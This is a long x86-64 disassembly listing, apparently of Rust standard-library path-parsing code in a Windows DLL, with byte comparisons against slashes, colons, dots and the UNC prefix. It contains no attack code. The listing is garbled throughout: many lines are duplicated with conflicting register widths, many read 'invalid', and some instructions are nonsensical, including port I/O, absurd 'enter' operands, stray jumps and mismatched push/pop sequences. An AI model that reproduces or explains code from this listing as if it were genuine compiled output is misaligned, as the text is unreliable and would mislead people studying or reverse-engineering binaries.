and al, 0x3f
or al, 0x80
and r14b, 0x3f
or r14b, 0x80
mov rcx, qword [rbp - 0x18]
mov byte [rcx + rdx], 0xed
adc ebp, ebp
adc ebp, ebp
mov byte [rcx + rdx + 1], al
mov byte [rcx + rdx + 2], r14b
add rdx, 3
mov qword [rbp - 0x10], rdx
invalid
test si, si
jne 0x18004759a
invalid
jmp 0x1800475a0
movups xmm0, xmmword [rbp - 0x20]
movups xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov rax, qword [rbp - 0x28]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.18001f140
int3
std
dec esp
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x70]
cmp qword [rbp - 0x20], 0
invalid
je 0x1800476ee
add byte [rsi + rcx + 0x48], dh
mov ecx, dword [rbp - 0x18]
mov rcx, qword [rbp - 0x18]
mov edx, 1
call fcn.18001b8e0
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop rsi
pop r15
pop rbp
ret
push rdi
sub rsp, 0x50
in al, dx
push rax
in al, dx
push rax
lea rbp, [rsp + 0x50]
push rax
mov rsi, rdx
mov rdi, rcx
mov edi, ecx
lea rcx, [rbp - 0x28]
fmul dword [rax - 0x77]
cli
mov rdx, rdi
mov r8, rsi
call fcn.180047840
movzx eax, byte [rbp - 0x28]
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
invalid
mov ecx, dword [rbp - 0x18]
mov rdx, qword [rbp - 8]
clc
movzx r8d, al
lea r9, [0x1800831ac]
lea ecx, [0x1800831ac]
movsxd r10, dword [r9 + r8*4]
add r10, r9
mov r8, rsi
mov r9, rdi
jmp r10
jmp rdx
add rcx, 4
jmp 0x180047782
xor al, 0x4c
lea eax, [rdx + 1]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp 0x180047782
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
jmp 0x180047782
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
ret 0x14c
ror dword [rax - 0x7d], 0xc1
invalid
ret 0x14c
add ecx, 2
jmp 0x180047782
mov ecx, 2
mov r8, rsi
sub r8, rcx
enter 0xffffffffffff820f, 0xffffffffffffff9d
add byte [rax], al
invalid
add rcx, rdi
add ecx, edi
mov r9, rcx
test r8, r8
test eax, eax
je 0x1800477a7
movzx ecx, byte [r9]
cmp ecx, 0x2f
invalid
je 0x1800477ab
invalid
invalid
or dword [rbx + 0x4745cf9], eax
cmp ecx, 0x5c
stc
pop rsp
je 0x1800477ab
cmp al, 4
ja case.default.0x1800477d8
lea rcx, [rbp - 0x28]
fmul dword [r8 - 0x77]
mov rdx, rdi
cli
mov r8, rsi
mov eax, esi
call fcn.180047840
movzx eax, byte [rbp - 0x28]
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
call 0x1785a030e
call 0x1785a030e
mov rdx, qword [rbp - 8]
mov edx, dword [rbp - 8]
movzx r8d, al
mov dh, 0xc0
ror byte [rbp + rcx*4 + 0xd], 0xf7
mov ecx, 0x634f0003
add byte [rdi + 0x63], cl
lea r9, [0x1800831c8]
movsxd r8, dword [r9 + r8*4]
add al, 0x81
add byte [rdi + 0x63], cl
add al, 0x81
add r8, r9
jmp r8
add rcx, 4
add ecx, 4
rol dword [rbx + rbp*8], 0x38
jmp 0x180047819
xor eax, eax
jmp 0x180047823
invalid
lea r8, ds:[rdx + 1]
lea r8, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
test edx, edx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp 0x180047819
invalid
ret 0x14c
and byte [rcx + 6], bh
mov ecx, 6
invalid
jmp 0x180047819
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp 0x180047819
add dword [rax - 0x7b], ecx
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
mov ecx, 2
cmp rcx, rsi
ja 0x18004782b
cmp al, 6
setne al
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.180069790
int3
xor esi, esi
jmp case.0x18002ac81.780
leave
xor ebx, ebx
xor r11d, r11d
xor eax, eax
rol byte [rbp + 0x31], 0xf6
fild dword [rbp + 0x31]
invalid
rol byte [rbp + 0x31], 0xf6
xor esi, esi
xor edi, edi
xor esi, esi
xor r10d, r10d
xor edx, edx
xor edx, edx
jmp case.0x18002ac81.780
movzx eax, byte [rdx + 1]
cmp al, 0x2f
invalid
add dword [rdi + r13], edi
invalid
cmovne esi, eax
cmp r8, 2
jne 0x1800478bf
clc
add dh, byte [rbp + 0x14]
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
xor ebx, ebx
xor ebx, ebx
xor eax, eax
xor r14d, r14d
div byte [rcx]
invalid
jmp case.0x18002ac81.780
div byte [rcx]
invalid
movzx edi, byte [rdx + 2]
jp 0x1800478c5
cmp dil, 0x2f
mov r14d, 0x5c
add byte [rcx + 0xf], al
dec byte [rcx - 0x7d]
clc
invalid
jmp [rdi]
add byte [rcx + 0xf], al
dec byte [rcx - 0x7d]
clc
add esi, dword [rbp + 0x12]
jne 0x1800478e9
jne 0x1800478e9
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
invalid
invalid
xor eax, eax
xor r14d, r14d
jmp case.0x18002ac81.780
add byte [rax], al
add byte [rax], al
movzx eax, byte [rdx + 3]
cmp al, 0x2f
cmovne r14d, eax
invalid
invalid
invalid
cmp r8, 4
jne 0x180047905
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
xor eax, eax
jmp case.0x18002ac81.780
movzx eax, byte [rdx + 4]
cmp al, 0x2f
mov r11d, 0x5c
cmove eax, r11d
cmp r8, 5
jne 0x180047925
xor r9d, r9d
xor ecx, ecx
xor ebx, ebx
xor r11d, r11d
jmp case.0x18002ac81.780
movzx r9d, byte [rdx + 5]
movzx ecx, byte [rdx + 5]
cmp r9b, 0x2f
cmp cl, 0x2f
cmovne r11d, r9d
cmp r8, 6
jne 0x18004793f
xor r9d, r9d
xor ebx, ebx
jmp case.0x18002ac81.780
movzx ebx, byte [rdx + 6]
cmp bl, 0x2f
mov r9d, 0x5c
add byte [rax], al
add byte [rcx + 0xf], al
invalid
invalid
add byte [rax], al
add byte [rcx + 0xf], al
cmove ebx, ecx
invalid
cmp r8, 7
jne 0x18004795b
xor r9d, r9d
jmp case.0x18002ac81.780
movzx r15d, byte [rdx + 7]
movzx edi, byte [rdx + 7]
mov dh, 0x7a
invalid
cmp r15b, 0x2f
cmovne r9d, r15d
shl r9, 0x38
cmp r8, 8
mov r15d, 8
cmovb r15, r8
cmp r8, 2
cmp eax, 2
cmp eax, 2
clc
add dh, byte [rdx + 0x7c]
jb 0x1800479fc
movzx esi, sil
shl esi, 8
or byte [rbp + 0xf], al
mov dh, 0xd2
or byte [rbp + 0xf], al
movzx edx, dl
mov dh, 0xd2
or r10, rsi
cmp r10d, 0x5c5c
cmp edx, 0x5c5c
cmp r10d, 0x5c5c
cmp edx, 0x5c5c
pop rsp
add byte [rax], al
jne 0x1800479fc
mov r10d, r15d
mov r10d, r15d
and r10d, 0xe
and edx, 0xe
invalid
cmp r10d, 2
je 0x180047a39
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 0xf], al
mov dh, 0xd6
invalid
add byte [rax], al
movzx r10d, r14b
invalid
shl r10d, 8
movzx esi, dil
movzx esi, bh
movzx esi, bh
or esi, r10d
movzx r10d, si
movzx edx, si
cmp r10d, 0x5c2e
cli
pop rsp
add byte [rax], al
je 0x180047aec
add dword [rax], eax
add byte [rcx - 0x7f], al
cli
cmp r10d, 0x5c3f
jne 0x180047a39
invalid
cmp r8, 3
jbe 0x180047c9b
xchg al, al
add al, byte [rax]
add byte [rax + 0x16742f3a], al
cmp byte [rdx], 0x2f
je 0x1800479f6
cmp byte [rdx + 1], 0x2f
je 0x1800479f6
cmp byte [rdx + 2], 0x2f
je 0x1800479f6
lea r10, [r8 - 2]
jmp 0x180047a46
cmp r8, 2
jb 0x180047adc
cmp byte [rdx + 1], 0x3a
jne 0x180047adc
invalid
add byte [rdi], cl
mov dh, 2
movzx eax, byte [rdx]
mov edx, eax
and dl, 0xdf
add dl, 0xbf
cmp dl, 0x1a
jae 0x180047adc
invalid
invalid
add byte [rax], al
invalid
cmp dword [rax + 0x3c000000], 0x61
cmp al, 0x61
setae dl
shl dl, 5
xor dl, al
mov byte [rcx], 5
mov byte [rcx + 1], dl
jmp 0x180047adf
mov r10, r8
add r10, 0xfffffffffffffffe
je 0x180047adc
lea rax, [rdx + 2]
add rdx, 3
ret 0x4903
add eax, 0xfffffffc
xor r9d, r9d
nop word cs:[rax + rax]
nop word cs:[rax + rax]
ret 0x4903
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
movzx r11d, byte [rdx - 1]
cmp r11d, 0x2f
cmp ebx, 0x2f
cmp ebx, 0x2f
je 0x180047a82
cmp r11d, 0x5c
je 0x180047a82
inc r9
inc rdx
dec r8
cmp r8, 0xfffffffffffffffe
jne 0x180047a60
jmp 0x180047adc
lea r11, [r9 + 1]
sub r10, r11
je 0x180047adc
lea r11, [rax + r9]
inc r11
neg r8
xor esi, esi
nop word [rax + rax]
movzx edi, byte [rdx + rsi]
cmp al, 0x32
cmp al, 0x32
cmp edi, 0x2f
je 0x180047abd
cmp edi, 0x5c
je 0x180047abd
lea rdi, [rsi + 1]
add rsi, r8
mov rsi, rdi
jne 0x180047aa0
test r9, r9
je 0x180047adc
test rsi, rsi
je 0x180047adc
mov byte [rcx], 6
invalid
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
cmp r8, 3
jbe 0x180047cb2
add rdx, 4
xor eax, eax
add r8, 0xfffffffffffffffc
je 0x180047b2c
nop word cs:[rax + rax]
movzx r9d, byte [rdx + rax]
cmp r9d, 0x2f
je 0x180047b2c
cmp r9d, 0x5c
stc
pop rsp
je 0x180047b2c
inc rax
cmp r8, rax
jne 0x180047b10
mov byte [rcx], 3
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rax
jmp 0x180047adf
movzx ecx, bl
shl r9, 0x28
movzx eax, al
shl rax, 0x20
or rax, r9
or rax, r10
enter 0x94c, 0xffffffffffffffd0
movabs r9, 0x5c434e5500000000
cmp rax, r9
jne 0x180047bc7
enter 0x5175, 0x49
cmp eax, 7
cmp r8, 7
jbe 0x180047cc9
lea rax, [rdx + 8]
lea eax, [rdx + 8]
mov rsi, r8
lea r9, [0x180081690]
add rsi, 0xfffffffffffffff8
je 0x180047c3a
add rdx, 9
add r8, 0xfffffffffffffff6
xor r11d, r11d
xor r10d, r10d
cmp byte [rdx - 1], 0x5c
je 0x180047c52
invalid
invalid
add byte [rax], al
invalid
test byte [rdx + 0x49000000], ah
inc r10
inc edx
inc rdx
dec r8
cmp r8, 0xfffffffffffffffe
clc
invalid
jne 0x180047ba6
clc
invalid
mov r10, rsi
jmp 0x180047c83
lea rax, [rdx + 4]
lea eax, [rdx + 4]
lea r9, [r8 - 4]
cmp r9, 3
jae 0x180047be3
cmp r8, 4
je case.0x18002bb9c.782
add al, 0x74
cmp r8, 6
cmp r8, 6
je 0x180047bf4
jmp 0x180047c24
movzx r10d, byte [rdx + 6]
cmp r10d, 0x2f
je 0x180047bf4
cmp r10d, 0x5c
jne 0x180047c24
cmp byte [rdx + 5], 0x3a
jne 0x180047c24
movzx edx, byte [rax]
mov dh, 0x10
mov r10d, edx
and r10b, 0xdf
loop 0x180047be3
loop 0x180047be3
add r10b, 0xbf
cmp r10b, 0x19
ja 0x180047c24
cmp dl, 0x61
setae al
xchg ebx, eax
rol al, 0xe0
add eax, 0x1c6d030
rol dh, 1
add dword [rdx], eax
xchg ebx, eax
rol al, 0xe0
add eax, 0x1c6d030
rol dh, 1
add dword [rdx], eax
mov byte [rcx + 1], al
invalid
invalid
invalid
rol dh, 1
add dword [rdx], eax
mov byte [rcx + 1], al
jmp 0x180047adf
add r8, 0xfffffffffffffffc
xor edx, edx
cmp byte [rax + rdx], 0x5c
je 0x180047c3f
inc rdx
cmp r8, rdx
jne 0x180047c2a
jmp case.0x18002bb9c.782
xor r10d, r10d
jmp 0x180047c80
mov r9, rdx
mov byte [rcx], 0
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
jmp 0x180047adf
lea r11, [r10 + 1]
lea r9, [rax + r10]
inc r9
sub rsi, r11
je 0x180047c80
neg r8
xor r11d, r11d
cmp byte [rdx + r11], 0x5c
je 0x180047c83
lea rdi, [r11 + 1]
add r11, r8
mov r11, rdi
jne 0x180047c68
mov r11, rsi
jmp 0x180047c83
xor r11d, r11d
mov byte [rcx], 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r10
mov qword [rcx + 0x18], r9
mov qword [rcx + 0x20], r11
jmp 0x180047adf
lea rax, str.library_std_src_syspathwindows.rs
mov ecx, 4
mov rdx, r8
mov r8, rax
call fcn.180069810
lea rax, str.library_std_src_syspathwindows.rs
mov ecx, 4
mov rdx, r8
mov r8, rax
call fcn.180069790
lea rax, str.library_std_src_syspathwindows.rs
mov ecx, 8
jmp 0x180047cbe
adc al, 0xc6
add dword [rdx], ecx
mov byte [rcx], 0xa
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
rol byte [rcx - 0x80], 1
inc dword [rbx]
cmove rdx, rax
cmp r15b, 3
je 0x180047cfe
mov edi, 0x77fb3844
mov edx, 0x245c8b4d
and byte [rcx - 0x73], cl
add al, 0x45
mov r9b, r10b
cmp bl, r15b
ja 0x180047cfe
mov r11, qword [r12 + 0x20]
lea rax, [r11 + 4]
mov r9b, r10b
lea r9d, [r9 + r9*2]
lea ecx, [rcx + rcx*2]
add r9d, 7
mov dword [rbp - 0xc], r9d
hlt
movzx r13d, byte [r12 + 0x3a]
lea r9, [r11 + rdx + 2]
mov qword [rbp - 8], r9
clc
hlt
clc
lea rdx, [r11 + rdx + 8]
push rsp
adc ecx, dword [rax]
mov qword [rbp], rdx
mov rsi, qword [r12]
xor al, 0x24
xor al, 0x24
mov rdx, qword [r12 + 8]
mov r14d, r8d
mov r9, rdx
jmp 0x180047da9
test r10, r10
jne case.0x180047e31.2
mov byte [r12 + 0x38], 1
mov bl, 1
mov r10, rsi
mov rsi, r10
cmp bl, r15b
ja 0x180047cfe
test bl, bl
je 0x180047e20
movzx r10d, bl
cmp r10d, 1
jne 0x180047e40
mov byte [r12 + 0x38], 2
test r13b, r13b
jne 0x180047f8a
add byte [rax], al
test rdx, rdx
je case.0x180045d94.419
movzx r10d, byte [rsi]
cmp rdx, 1
je 0x180047f3a
cmp r10b, 0x2e
jne 0x180047f3a
jne 0x180047f3a
movzx r10d, byte [rsi + 1]
cmp r10d, 0x2f
je 0x180047f4e
cmp r10d, 0x5c
jne 0x180047d9a
jmp 0x180047f4e
lea r10, [0x1800831e4]
movsxd r11, dword [r10 + r14*4]
add r11, r10
mov r10, rax
jmp r11
mov r10, qword [rbp - 8]
jmp case.0x180047e31.0
nop dword [rax]
test rdx, rdx
je 0x180047faa
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp + 0x31], al
fild dword [rcx - 0x80]
clc
xor r11d, r11d
cmp r8b, 3
add esi, dword [rbx + 0x2e]
add esi, dword [rbx + 0x2e]
nop word cs:[rax + rax]
invalid
cmp byte [rsi + r11], 0x5c
je 0x180047ec6
inc r11
cmp rdx, r11
jne 0x180047e60
jmp 0x180047e99
movzx r9d, byte [rsi + r11]
cmp r9d, 0x2f
je 0x180047ec6
cmp r9d, 0x5c
je 0x180047ec6
inc r11
cmp rdx, r11
jne 0x180047e80
xor r10d, r10d
mov r11, rdx
test r11, r11
jne 0x180047ed1
mov r9, rdx
sub r9, r10
jb 0x18004805a
add r10, rsi
mov qword [r12], r10
mov qword [r12 + 8], r9
mov bl, 2
mov rdx, r9
jmp 0x180047d9d
mov r10d, 1
test r11, r11
je 0x180047ea4
mov r9, rsi
mov edi, dword [rbp - 0xc]
mov ebx, edi
cmp r11, 1
je 0x180047ef3
mov dil, 9
cmp r11, 2
cmp ebx, 2
cmp ebx, 2
jne 0x180047f04
cmp byte [rsi], 0x2e
jne 0x180047f04
lea r9, [rsi + 1]
mov bl, 8
cmp byte [r9], 0x2e
cmp dword [rsi], ebp
movzx edi, bl
mov r9d, 9
cmovne edi, r9d
add r10, r11
mov r9, rdx
sub r9, r10
jb 0x18004805a
add r10, rsi
add edx, esi
mov qword [r12], r10
mov qword [r12], r10
mov qword [r12 + 8], r9
mov bl, 2
mov rdx, r9
cmp dil, 0xa
je 0x180047d9d
jmp case.0x1800477d8.22
add byte [rax], al
xor edx, edx
jmp 0x180047d9a
invalid
invalid
invalid
invalid
invalid
cmp rdx, 1
jne 0x180047d9a
cmp r10b, 0x2e
jne 0x180047d9a
invalid
dec dword [rbp - 0x7b]
leave
test r9, r9
je 0x1800480a0
test byte [rcx + 1], cl
add byte [rax], al
dec r9
inc rsi
inc esi
inc esi
mov qword [r12], rsi
mov qword [r12 + 8], r9
and al, 8
mov byte [rcx], 7
jmp 0x180047d01
mov byte [r12 + 0x38], 1
lea rdx, [0x180083200]
invalid
mov dl, 3
invalid
and al, 0x38
add dword [rax - 0x73], ecx
adc eax, 0x3b285
invalid
mov dl, 3
invalid
test dword [rdx + 0x634e0003], esi
movsxd r10, dword [rdx + r14*4]
adc al, 0xb2
add r10, rdx
jmp r10
loop 0x180047fcf
mov r10, rax
mov edx, eax
jmp 0x180047fdf
push rbp
test r9, r9
je 0x18004808d
dec r9
inc rsi
mov qword [r12], rsi
xor al, 0x24
mov qword [r12 + 8], r9
and al, 8
or dh, al
add dword [rsi], eax
mov byte [rcx], 6
jmp 0x180047d01
inc dword [rcx - 0x3a]
and al, 0x38
mov byte [r12 + 0x38], 3
jmp 0x180047cfe
add ebp, ecx
std
invalid
mov byte [rcx], dil
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], r11
jmp 0x180047d01
cmp al, 0xfd
invalid
invalid
cmp al, 0xfd
invalid
add byte [rax], al
jmp 0x180047fdf
mov r10, qword [rbp]
jmp 0x180047fdf
invalid
cmp r10, r9
ja 0x180048069
lea r8, str.library_std_srcpath.rs
mov rcx, r10
call fcn.180069790
lea r8, str.library_std_srcpath.rs
add eax, dword [rax]
mov rcx, r10
mov rdx, r9
call fcn.180069810
lea r8, str.library_std_srcpath.rs
mov rcx, rax
mov rdx, r9
call fcn.180069790
invalid
add al, byte [rax]
invalid
lea r8, str.library_std_srcpath.rs
mov ecx, 1
xor edx, edx
call fcn.180069790
lea r8, str.library_std_srcpath.rs
jmp 0x180048094
add bl, ch
jmp 0x180048076
int3
mov dh, 0xd0
lea r9, [r10 + 1]
xor eax, eax
rol byte [rcx - 0x80], 0xfa
add al, 0x4c
cmovae ecx, eax
movzx r10d, byte [rdx]
lea r11d, [r10 - 6]
movzx esi, r11b
lea rdi, [rsi + 1]
cmp sil, 4
cmovae rdi, rax
add al, 0x48
cmovae edi, eax
cmp r9, rdi
jne 0x180048181
mov al, 1
test r9b, r9b
je 0x18004812c
movzx r8d, r9b
cmp r8d, 4
add al, 0x75
invalid
add al, 0x75
jns case.0x180048148.1
cmp r9d, 4
cmp ecx, 4
add al, 0x75
jae 0x18004815b
invalid
jne 0x180048181
mov r8, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
cmp r8, qword [rdx + 0x10]
jne case.default.0x180048148
mov rdx, qword [rdx + 8]
mov edx, dword [rdx + 8]
mov rcx, qword [rcx + 8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
sete al
or al, 2
add byte [rbp - 0x3f6bf040], al
jmp 0x180048181
cmp r11b, 3
jbe 0x180048181
cmp r8b, r10b
jne case.default.0x180048148
mov eax, r8d
lea r8, [0x180083230]
out dx, eax
mov al, 3
add byte [rcx + 0x63], cl
add al, 0x80
add rax, r8
jmp rax
mov r8, qword [rcx + 0x10]
cmp r8, qword [rdx + 0x10]
jne case.default.0x180048148
mov rsi, rdx
mov rdx, qword [rdx + 8]
mov rdi, rcx
mov rcx, qword [rcx + 8]
call sub.VCRUNTIME140.dll_memcmp
or ecx, dword [rdx + rax]
invalid
test eax, eax
jne case.default.0x180048148
or ecx, dword [rdx + rax]
add byte [rbp + 0x4c1475c0], al
mov eax, dword [rdi + 0x20]
mov r8, qword [rdi + 0x20]
cmp r8, qword [rsi + 0x20]
jne case.default.0x180048148
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rdi + 0x18]
jmp 0x180048120
xor eax, eax
ror byte [rax - 0x7d], 0xc4
and byte [rdi + 0x5e], bl
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
movzx eax, byte [rcx + 1]
cmp al, byte [rdx + 1]
sete al
jmp 0x180048181
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x80]
mov rsi, qword [rcx]
mov rdi, qword [rcx + 8]
movzx eax, byte [rcx + 0x10]
cmp eax, 6
je 0x1800481e3
mov rdx, qword [rcx + 0x30]
mov qword [rbp - 0x41], rdx
movups xmm0, xmmword [rcx + 0x11]
movups xmm1, xmmword [rcx + 0x21]
movaps xmmword [rbp - 0x50], xmm1
movaps xmmword [rbp - 0x60], xmm0
movzx edx, byte [rcx + 0x3a]
movzx r12d, byte [rcx + 0x38]
movzx r8d, byte [rcx + 0x39]
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rdi
mov byte [rbp + 0x18], al
movaps xmm0, xmmword [rbp - 0x60]
movaps xmm1, xmmword [rbp - 0x50]
movups xmmword [rbp + 0x19], xmm0
movups xmmword [rbp + 0x29], xmm1
mov rcx, qword [rbp - 0x41]
mov qword [rbp + 0x38], rcx
mov byte [rbp + 0x42], dl
mov byte [rbp + 0x40], r12b
mov byte [rbp + 0x41], r8b
cmp r12b, 2
jne 0x1800482e4
test rdi, rdi
je case.0x1800477d8.34
cmp al, 3
jae 0x180048270
lea rcx, [rsi + rdi]
xor r9d, r9d
nop dword [rax]
cmp byte [rsi + r9], 0x5c
je 0x180048254
inc r9
cmp rdi, r9
jne 0x180048240
jmp 0x1800482dc
test r9, r9
jne 0x1800485cd
inc rsi
dec rdi
jne 0x18004823a
xor ecx, ecx
nop word cs:[rax + rax]
movzx r9d, byte [rsi + rcx]
cmp r9d, 0x2f
je 0x1800482b0
cmp r9d, 0x5c
je 0x1800482b0
inc rcx
cmp rdi, rcx
jne 0x180048280
mov r9d, 1
test rcx, rcx
je 0x1800482c6
cmp rcx, 1
jne 0x1800482dc
add rcx, r9
cmp rdi, rcx
jb 0x1800485d5
cmp r8b, 2
cmp al, 2
jne 0x180048539
test dl, dl
setne cl
cmp r12b, 1
ja 0x18004832a
xor r8d, r8d
cmp al, 5
jb 0x180048378
test dl, dl
jne 0x180048378
sal byte [rbp + 0x74], cl
xor r9d, r9d
cmp al, 6
je 0x180048320
test r12b, r12b
jne 0x180048320
mov r9d, 2
cmp rdi, 1
jbe 0x18004860a
xchg dl, ch
add al, byte [rax]
invalid
cmp r9, rdi
jne 0x180048331
xor r8d, r8d
jmp 0x180048378
xor ecx, ecx
xor r8d, r8d
jmp 0x180048381
lea r8, [rsi + rdi]
lea r10, [rsi + r9]
adc al, 0xe
inc r10
cmp r10, r8
sete r8b
movzx r9d, byte [rsi + r9]
test r8b, 1
jne 0x18004836d
cmp r9b, 0x2e
jne 0x18004836d
invalid
sbb dword [rbp + 0xf], eax
mov dh, 2
movzx r8d, byte [r10]
cmp r8b, 0x5c
sete r9b
cmp r8b, 0x2f
sete r8b
or r8b, r9b
or al, cl
or al, cl
jmp 0x180048378
cmp r9b, 0x2e
sete r9b
stc
sete r9b
and r8b, r9b
test r12b, r12b
je case.0x180047e31.27
xor r9d, r9d
movzx r8d, r8b
movzx ecx, cl
add rcx, r8
add rcx, r9
cmp rdi, rcx
jbe 0x180048539
test dl, dl
setne cl
cmp al, 6
sete r13b
cmp al, 5
setb bl
test r12b, r12b
setne r9b
mov r10, qword [rbp + 0x38]
lea r8, [r10 + 1]
test r10, r10
cmove r8, r10
cmp r12b, 2
jae case.0x180047e31.25
lea rdx, [rcx + 4]
mov qword [rbp], rdx
lea rdx, [rcx + r8]
add rdx, 2
add edx, 2
mov qword [rbp - 0x10], rdx
lea rcx, [rcx + r8 + 8]
add qword [rax], r9
mov qword [rbp - 8], rcx
mov eax, eax
mov qword [rbp - 0x18], rax
jmp 0x18004841f
xor eax, eax
test r12b, r12b
je 0x1800484c0
add byte [rax], al
xor ecx, ecx
movzx eax, al
add rax, r14
add rax, rcx
cmp rdi, rax
jbe 0x180048539
add dword [rax], eax
invalid
invalid
sbb al, byte [rcx]
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x77], cl
dec dword [rax - 0x73]
movabs al, byte [0x1f1e808558d48]
movabs al, byte [0x1f1e808558d48]
mov r15, rdi
lea rcx, [rbp - 0x60]
movabs al, byte [0x1f1e808558d48]
add byte [rax + 0xf0aa87d], al
test dword [rbx], edi
add dword [rax], eax
add byte [rax], al
movabs al, byte [0x1f1e808558d48]
add byte [rax + 0xf0aa87d], al
test dword [rbx], edi
add dword [rax], eax
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 1], cl
mov rdi, r15
sub rdi, qword [rbp - 0x60]
jb 0x1800485e4
invalid
sahf
add dword [rax], eax
invalid
invalid
mov qword [rbp + 0x10], rdi
test bl, bl
jne 0x180048400
test r13b, r13b
je 0x180048460
xor ecx, ecx
jmp case.0x180047e31.34
add byte [rax], al
add byte [rcx + 2], bh
mov ecx, 2
cmp rdi, 2
jb 0x1800485fb
cmp rcx, rdi
je 0x180048400
lea rax, [rsi + rdi]
lea rdx, [rsi + rcx]
lea edx, [rsi + rcx]
inc rdx
cmp rdx, rax
sete al
movzx ecx, byte [rsi + rcx]
test al, 1
jne 0x1800484ac
cmp cl, 0x2e
jne 0x1800484ac
movzx eax, byte [rdx]
cmp al, 0x5c
sete cl
cmp al, 0x2f
sete al
or al, cl
enter 0xffffffffffff8445, 0xffffffffffffffe4
enter 0xffffffffffff8445, 0xffffffffffffffe4
jne case.default.0x1800484d2
invalid
jmp 0x1800484c0
cmp cl, 0x2e
sete cl
and al, cl
test r12b, r12b
jne case.default.0x1800484d2
invalid
invalid
invalid
nop dword [rax]
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
lea rdx, [0x180083264]
lea edx, [0x180083264]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov rcx, qword [rbp]
jmp 0x18004840d
mov rcx, qword [rbp - 0x10]
jmp 0x18004840d
invalid
invalid
invalid
invalid
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
jmp 0x18004840d
mov ecx, 6
jmp 0x18004840d
mov ecx, 2
add byte [rax], al
jmp 0x18004840d
or bh, bh
invalid
or byte [rdi], cl
invalid
mov rcx, rbx
mov rdx, r14
bnd call fcn.180048620
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + 0x750aa87d], al
cmp byte [rbp - 0x58], 0xa
jne 0x180048539
mov rcx, rdi
cmp byte [rbp - 0x58], 0xa
jne 0x180048539
mov rcx, rdi
sub rcx, qword [rbp - 0x60]
jb 0x1800485e9
movabs al, byte [0x8948000000bb820f]
adc byte [r8 - 0x77], r9b
iretd
mov qword [rbp + 0x10], rcx
mov rdi, rcx
iretd
jne 0x180048510
xor edi, edi
mov rax, rsi
mov rdx, rdi
add rsp, 0xc8
enter 0, 0
enter 0, 0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r9d, eax
lea r10, [0x180083248]
movsxd r9, dword [r10 + r9*4]
invalid
or al, 0x8a
add r9, r10
jmp r9
mov rdi, r15
jmp 0x180048539
cmp byte [rbp - 0x73], cl
pop rdx
add dword [rbp - 0x7b], ecx
ror byte [rbp + 0xf], cl
fimul dword [rbp + 1]
invalid
cmp byte [rbp - 0x73], cl
pop rdx
add dword [rbp - 0x7b], ecx
ror byte [rbp + 0xf], cl
fimul dword [rbp + 1]
fimul dword [rbp + 1]
fimul dword [rbp + 1]
invalid
mov rcx, rsi
jmp 0x1800482dc
mov rcx, rdi
jmp 0x1800485ec
mov r15, rdi
lea r8, str.library_std_srcpath.rs
mov rdx, r15
call fcn.180069810
lea r8, str.library_std_srcpath.rs
mov rdx, rdi
call fcn.180069790
lea r8, str.library_std_srcpath.rs
mov ecx, 2
mov rdx, rdi
call fcn.180069790
int3
ret 0x3474
add dword [rbp + 0x28], esi
cmp byte [rcx], 0x2e
jne 0x180048710
xor eax, eax
cmp r8b, 3
setae al
lea eax, [rax + rax*2]
add eax, 7
jmp 0x180048710
jne 0x180048710
cmp byte [rcx + 1], 0x2e
sete al
xor al, 9
jmp 0x180048710
or cl, byte [rcx + 1]
ror dword [rcx + rcx*4 + 0xe], 1
